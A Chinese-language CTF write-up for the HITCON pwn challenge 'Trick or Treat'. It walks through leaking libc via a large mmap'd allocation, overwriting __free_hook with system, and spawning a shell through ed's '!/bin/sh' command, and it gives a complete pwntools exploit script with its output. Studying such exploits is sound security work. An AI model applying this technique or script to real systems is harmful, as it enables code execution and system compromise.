前言 hitcon
是权重比较高的国际赛,本文学习一下其中的解题思路.
Trick or Treat 这是一道稍微有点脑洞的题目,题目本身的逻辑很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { signed int i; __int128 size; __int64 v5; _QWORD *v6; unsigned __int64 v7; v7 = __readfsqword(0x28 u); size = 0u LL; v5 = 0L L; v6 = 0L L; setvbuf(stdin , 0L L, 2 , 0L L); setvbuf(stdout , 0L L, 2 , 0L L); write(1 , "Size:" , 5u LL); __isoc99_scanf("%lu" , &size); v6 = malloc (size); if ( v6 ) { printf ("Magic:%p\n" , v6); for ( i = 0 ; i <= 1 ; ++i ) { write(1 , "Offset & Value:" , 0x10 uLL); __isoc99_scanf("%lx %lx" , (char *)&size + 8 ); v6[*((_QWORD *)&size + 1 )] = v5; } } _exit(0 ); }
我们可以通过malloc一个比较大块的内存,使程序使用mmap
方式申请内存,从而通过输出泄露libc的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x555555554000 0x555555555000 r-xp 1000 0 /home/jcxp/ctf/practice/hitcon/pwn/trick_or_treat 0x555555754000 0x555555755000 r--p 1000 0 /home/jcxp/ctf/practice/hitcon/pwn/trick_or_treat 0x555555755000 0x555555756000 rw-p 1000 1000 /home/jcxp/ctf/practice/hitcon/pwn/trick_or_treat 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ee7000 0x7ffff7fdf000 rw-p f8000 0 //申请的内存 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall] pwndbg> x /10gx 0xffffffffff601000 0xffffffffff601000: Cannot access memory at address 0xffffffffff601000 pwndbg> x /10gx 0x7ffff7ee7010-0x10 0x7ffff7ee7000: 0x0000000000000000 0x00000000000f5002 0x7ffff7ee7010: 0x0000000000000000 0x0000000000000000 0x7ffff7ee7020: 0x0000000000000000 0x0000000000000000 0x7ffff7ee7030: 0x0000000000000000 0x0000000000000000 0x7ffff7ee7040: 0x0000000000000000 0x0000000000000000 pwndbg>
我们的目的是通过覆盖__malloc_hook
或者__free_hook
来getshell
,但是我们无法直接覆写为system
或者one_gadget
的地址,因为下面这段代码中%lx
意味着我们只能写abcdef1234567890
这样的16进制值,这样就没办法传入/bin/bash
.
1 2 3 write(1 , "Offset & Value:" , 0x10 uLL); __isoc99_scanf("%lx %lx" , (char *)&size + 8 ); v6[*((_QWORD *)&size + 1 )] = v5;
这里有个小tips
,ed
是一个旧的默认Unix控制台编辑器。通常ed是
提供给用户,它功能非常简单,但它仍然有内部的第三方命令执行功能,非常类似于vim
。一旦进,ed
,我们可以通过执行!'/bin/sh'
来获取正常的shell,如下所示
1 2 3 4 5 jcxp@ubuntu ~/ctf/practice /hitcon/pwn ed !'/bin/sh' $ ls exp.py trick_or_treat $
那接下来的利用就很简单了,我们申请的大内存中覆盖__free_hook
为system
,然后通过ed
执行shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *import timehost, port = "192.168.37.147" , "9999" filename = "./trick_or_treat" elf = ELF(filename) context.arch = 'amd64' if not args.REMOTE: libc = elf.libc else : libc = ELF('./libc.so' ) context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] def getConn () : return process(filename) if not args.REMOTE else remote(host, port) def get_PIE (proc) : memory_map = open("/proc/{}/maps" .format(proc.pid),"rb" ).readlines() return int(memory_map[0 ].split("-" )[0 ],16 ) def debug (bp) : script = "" PIE = get_PIE(p) PAPA = PIE for x in bp: script += "b *0x%x\n" %(PIE+x) gdb.attach(p,gdbscript=script) global pp=getConn() p.recvuntil('Size:' ) p.sendline('1000000' ) debug([0x909 ]) p.recvuntil('Magic:' ) magic=int(p.recvuntil('\n' ,drop=True ),16 ) log.info('magic=' +hex(magic)) libc.address=magic-0x4da010 log.info('libc.address=' +hex(libc.address)) free_hook_off=(libc.symbols['__free_hook' ]-magic)/8 log.info('free_hook_off=' +hex(free_hook_off)) system=libc.symbols['system' ] payload='{} {}' .format(hex(free_hook_off),hex(system)) p.sendlineafter('Offset & Value:' ,payload) print p.recv()p.sendline('A' *50000 ) //当使用scanf输入较大字符时,会申请一个large bin,触发malloc_consolidate() p.sendline('ed' ) p.sendline('!/bin/sh' ) p.interactive()
运行效果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ⚙ jcxp@ubuntu ~/ctf/practice /hitcon/pwn python exp.py [*] '/home/jcxp/ctf/practice/hitcon/pwn/trick_or_treat' Arch: amd64-64 -little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './trick_or_treat' : pid 12375 [*] magic=0x7ffff7ee7010 [*] libc.address=0x7ffff7a0d000 [*] free_hook_off=-0x2270d \x00 [*] Switching to interactive mode Offset & Value: \x00 $ whoami jcxp $